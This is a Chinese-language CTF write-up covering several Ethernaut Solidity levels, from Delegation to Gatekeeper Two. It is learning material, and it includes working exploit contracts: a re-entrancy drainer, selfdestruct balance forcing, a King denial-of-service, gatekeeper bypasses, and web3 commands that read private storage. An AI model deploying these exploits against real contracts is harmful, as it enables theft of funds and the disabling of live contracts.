智能合约 CTF 入门:Ethernaut Write Up (2)

立一个 flag,明天之前刷完,刷不完让 Y1ng 师傅女装 23333

Delegation

pragma solidity ^0.4.18;

contract Delegate { 
    address public owner;
    function Delegate(address _owner) public {
        owner = _owner;
    }

    function pwn() public {
        owner = msg.sender;
    }
}

contract Delegation {
    address public owner;
    Delegate delegate;
    function Delegation(address _delegateAddress) public {
        delegate = Delegate(_delegateAddress);
        owner = msg.sender;
    }

    function() public {
        if(delegate.delegatecall(msg.data)) {
          this;
      }
  }
}

题目要求得到 Delegation 合约的控制权,而这个合约只有他的子合约有改变 owner 的方法。而Delegation 只有一个 fallback 函数可以利用,根据上篇文章总结的,我们只需给这个合约汇款,就能调用到他的 fallback 函数,再将 data 构造为函数的 sha3 值,就可以实现调用任意函数。

本题的考点在于对两种调用函数 Call() 和 delegatecall() 区别的理解。在 solidity 中这两个函数虽然用途都是调用函数的作用,但是 Call() 调用时所有的操作都在被调用合约中,而 delegatecall() 的操作在原本的合约中。也就是说部署以下三个合约:

pragma solidity ^0.4.18;

contract Delegate { 
    address public owner;
    function Delegate(address _owner) public {
        owner = _owner;
    }
    function own() public view returns (address){
        return owner;
    }
    function pwn() public {
        owner = msg.sender;
    }
}

contract Call {
    address public owner;
    Delegate delegate;
    function Call(address _delegateAddress) public {
        delegate = Delegate(_delegateAddress);
        owner = msg.sender;
    }
    function() public {
        if(delegate.call(msg.data)) {
          this;
      }
  }
}

contract Delegation {
    address public owner;
    Delegate delegate;
    function Delegation(address _delegateAddress) public {
        delegate = Delegate(_delegateAddress);
        owner = msg.sender;
    }
    function() public {
        if(delegate.delegatecall(msg.data)) {
          this;
      }
  }
}

如果将 Call 和 Delegatecall 分别部署到子合约 Delegate 上,首先给 Delegatecall 合约转账触发 fallback 方法,将 data 设置为 pwn() 的 sha3 值,此时子合约 Delegate 的 owner 并没有改变,而 Delegatecall 合约的 owner 则变成了执行 transact 的用户地址;以同样的方法操作合约 Call,执行 transact 之后 Call 合约的 owner 没有改变,而子合约的 owner 改为 Call 合约的合约地址。这就是Call 和 Delegatecall 的区别。

这里不slice也可以

Force

pragma solidity ^0.4.18;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

题目没有给源码,题目要求合约的让合约 balance 大于零,直接转账发现会报错,去这个网址查看下合约源码,发现如果 fallback 被调用直接 revert,因此不能通过转账汇钱。

这种情况可以使用合约销毁的特性。如果一个合约被销毁,合约会吧自己的所有余额转到另一个地址,而当这个地址是另一个合约地址时,则不会触发该合约的 fallback 函数。因此我们只需构造一个攻击合约随便打点钱,再把销毁目标设定为目标合约即可。exp:

pragma solidity ^0.4.23;

contract exp{
    address to;
    constructor () payable{
        to = 0x87f589a9a591f6662919c48a2b67baf81460a595;
        // 目标合约地址
    }
   
    function kill() public {
        selfdestruct(to);
    }
    
}

Vault

源码:

pragma solidity ^0.4.18;
contract Vault {
  bool public locked;
  bytes32 private password;

  function Vault(bytes32 _password) public {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}

这题比较有意思,要来猜这个密码。但是众所周知,区块链是个确定性系统,没有任何 private 可言。我们借助 web3 可以找到预先定义的 private 变量。

直接使用 web3,网页会报错,找了网上的一个 payload 是用回调函数 alert 出来 :

web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(web3.toAscii(y))});
// A very strong secret password :)

King

给合约转钱,钱比上一个国王多就可以成为新的国王,过关条件是成为永久的国王。源码:

pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
contract King is Ownable {
  address public king;
  uint public prize;

  function King() public payable {
    king = msg.sender;
    prize = msg.value;
  }

  function() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }
}

这个题比较 trick,从逻辑上讲,肯定不可能成为永久的国王,因为永远都会有人可以出更多的钱。当新国王产生的时候,合约会在 fallback 中把旧国王的钱打回去,所以本题的关键点在于 fallback() 函数。一开始的思路是通过溢出让别人转不了钱,但是以太坊的 balance 上限非常大,操作起来太过困难。后来看了师傅们的 wp 了解到 transfer 在调用中如果出错会回滚状态,导致下面的指令不执行,所以我们就可以利用这一点构造攻击合约进行转账。exp:

contract exp{
    address a;
    function exp() payable{
        a = 0x6E9481a945cEfE4DE1B6356bD0b1F306390f5A87;
        a.call.value(msg.value)();
    }
    
    function () public payable{
        require(msg.value < 1 ether);
    }
    
}

看了其他师傅的一些博客,这个题还有很多解法,比如直接不写 fallback 函数或者 fallback 函数不带 payable 关键字,都可以起到相同的效果。

Re-entrancy

过关条件是拿走合约的所有币,源码:

pragma solidity ^0.4.18;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      if(msg.sender.call.value(_amount)()) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  function() public payable {}
}

withdraw() 函数有非常明显的重入特征(先转账,再对账本变量操作),这几天刚好用重入攻击这个点出了个题,具体原理可以去看这篇文章,直接构造攻击合约即可,exp:

// Author : imagin
// Blog : https://imagin.vip
// Filename : exp.sol

contract exp{
    address add = 0xbA147431b75d6B1EEb2c67F14cc7A4CEBeaf2C1d;
    Reentrance a;
    uint times;
    
    constructor () public {
        a = Reentrance(add);
    }
    
    function attack() public payable{
        a.donate.value(msg.value)(this);
        a.withdraw(1 ether);
    }
    
    function getall() public {
        msg.sender.transfer(address(this).balance);
    }
    
    function show() public view returns (uint){
        return a.balanceOf(this);
    }
    
    function get() public view  returns (uint){
        return address(this).balance;
    }
    
    function target() public view returns (uint){
        return address(a).balance;
    }
    
    function () public payable{
        if(address(a).balance >= 1 ether){
            a.withdraw(1 ether);
        }
    }
}

注意一开始合约的地址要符合 remix 的正则化,不然可能会调用失败。

这次通关界面好可爱

Elevator

直接甩给我们一个可控的接口,题目目标是登顶。源码:

pragma solidity ^0.4.18;

interface Building {
  function isLastFloor(uint) view public returns (bool);
}

contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

这个题非常有意思,目标合约里定义了该函数是 view 的,也就是说不能对任何属性值进行修改。一开始我想着可以利用 — 操作的延后性曲线救国,但是失败了23333,后来看了 Pikachu 师傅的 wp,才知道原来在 view 函数中强行改属性也是可以通过编译的。emmmmm,感觉世界上最好的语言要易主了。 exp:

// Author : imagin
// Blog : https://imagin.vip
// Filename : exp.sol

contract exp{
    uint public times = 1;
    
    function isLastFloor(uint) view public returns (bool){
        if(times == 1){
            times --;
            return false;
        }
        else{
            return true;
        }
    }
    
    Elevator public a = Elevator(0x5dA8CC8F99F24d841449a884AE820e22A40031A8);
    function call() public{
        a.goTo(1);
    }
}

Privacy

跟前面的 Vault 差不多,主要是读取 private 数据,源码:

pragma solidity ^0.4.18;

contract Privacy {
  bool public locked = true;
  uint256 public constant ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;

  function Privacy(bytes32[3] _data) public {
    data = _data;
  }
  
  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

  /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}

可以用 web3.eth.getStorageAt(instance, 0, function(x,y){alert(y);}) 直接把东西 alert 出来,汇总一下得到:

0x000000000000000000000000000000000000000000000000000000437aff0a01
0x5873459db27cc72d02440d33051dfad5860383dae2beec1780c2627de3bdb336
0xcb60297379a1fb1d91100650b53342185f6e24ece90c16825cd9c194fbc6010f
0x37dab7dd0d56017189a77cec33f02c3793dad1d8ab49e0eb4bd27e7ee5bf9afd

constant 是 solidity 中的常量,常量不存储于区块上,因此区块上内容的顺序应该是 locked、flattening、denomination、awkwardness、data[0]、data[1]、data[2]

对于较短的数据,solidity 存储的策略是将其合并,从后往前写到一个 32 字节的数据块中,因此第一行数据最后的 01 对应 locked(True)、倒数第二个字节 0a 代表 flattening(10)、倒数第三个字节 ff 代表 denomination(255),倒数第四五个字节( uint16 占两个字节 ) 437a 则代表 uint16(now)。以此类推,第四个数据块存储的就是我们需要的 data[2] 变量,直接提交即可。

Gatekeeper One

题目要求我们成功执行 enter() 函数,源码:

pragma solidity ^0.4.18;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract GatekeeperOne {

  using SafeMath for uint256;
  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    require(msg.gas.mod(8191) == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    require(uint32(_gateKey) == uint16(_gateKey));
    require(uint32(_gateKey) != uint64(_gateKey));
    require(uint32(_gateKey) == uint16(tx.origin));
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

第一个 gate,直接用合约调用即可绕过;第二个 gate 需要 gas 满足一定条件,也以通过合约控制;最后一个 gate 较为麻烦,首先Solidity 中,数据类型之间的转换遵循以下规则:

// 数字 与 数字
uint8 -> uint16
// 值不变  其他小单位转大单位同理
uint16 -> uint8
// 导致溢出,转换后的结果为原变量 mod 256 其他大单位转小单位同理

// bytes 与 bytes
bytes8 -> bytes16
// 后面补零 其他小单位转大单位同理
// 0xaaaaaaaaaaaaaaaa -> 0xaaaaaaaaaaaaaaaa0000000000000000
bytes16 -> bytes8
// 取前面的位数 其他大单位转小单位同理
// 0xaaaaaaaaaaaaaaaa0000000000000000 -> 0xaaaaaaaaaaaaaaaa

// address 与 bytes、uint
address -> uint
// 根据 uint 的具体单位,将地址从尾端开始截取对应长度
// 如地址0x0DCd2F752394c41875e259e00bb44fd505297caF,转为 uint8 为取最后1字节 0xaf
address -> bytes
// 根据 bytes 的具体单位,从前截取对应长度
// 0x08970FEd061E7747CD9a38d680A601510CB659FB -> 0x80a601510cb659fb (bytes8)
uint/bytes 转 address
// uint 转为 hex,bytes不变,从后填充
// uint8 -> address 0x123 -> 0x0000000000000000000000000000000000000123
// bytes8 -> address 0x80a601510cb659fb -> 0x00000000000000000000000080A601510cB659FB 

题目要求我们的 key (实际上就是我们的用户地址) 转成 uint 后四个字节和后两个字节相同,而后四个字节又不同于整个八个字节。根据 solidity 类型转换和比较的规则,我们只需将后 4 到后 2 这两个字节的内容清空为0,就可以绕过限制。根据转换条件exp:

contract test{
    GatekeeperOne a;
    function test() public{
        a = GatekeeperOne(0x0D17119b1421584937B1cBfED1e26462A279A2fF);
    }
    function exp() public {
        address add = address(msg.sender);
        // 注意这里用 msg.sender 用 this 无法执行部署
        bytes8 add_exp = bytes8(add) &amp; 0xffffffff0000ffff;
        a.enter.gas(819100)(add_exp);
    }
}

Gatekeeper Two

pragma solidity ^0.4.18;

contract GatekeeperTwo {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    uint x;
    assembly { x := extcodesize(caller) }
    require(x == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1);
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

一三的条件都比较好满足,就是在二里这个合约出现了新的关键词 assembly,查文档可知是 solidity 定义的一个汇编语言,并且可以直接在 solidity 源码里执行。翻翻手册找下 extcodesize() 函数

也就是说绕过 gateTwo 需要合约的代码长度为 0,查了下果然有个 trick,只要把 exp 放到构造函数中,调用的时候区块还未彻底生成,此时 extcodesize 的返回值就是 0。exp:

pragma solidity ^0.4.18;

contract exp{
    GatekeeperTwo a;
    function exp(){
        a = GatekeeperTwo(0xFB95A884a68Cf82F2F582aa93001af97b80D0806);
        uint64 key = uint64(keccak256(this)) ^ (uint64(0) - 1);
        a.enter(bytes8(key));
    }
}
最后过关的表情包太逗了

Imagin 丨 京ICP备18018700号-1


Your sidebar area is currently empty. Hurry up and add some widgets.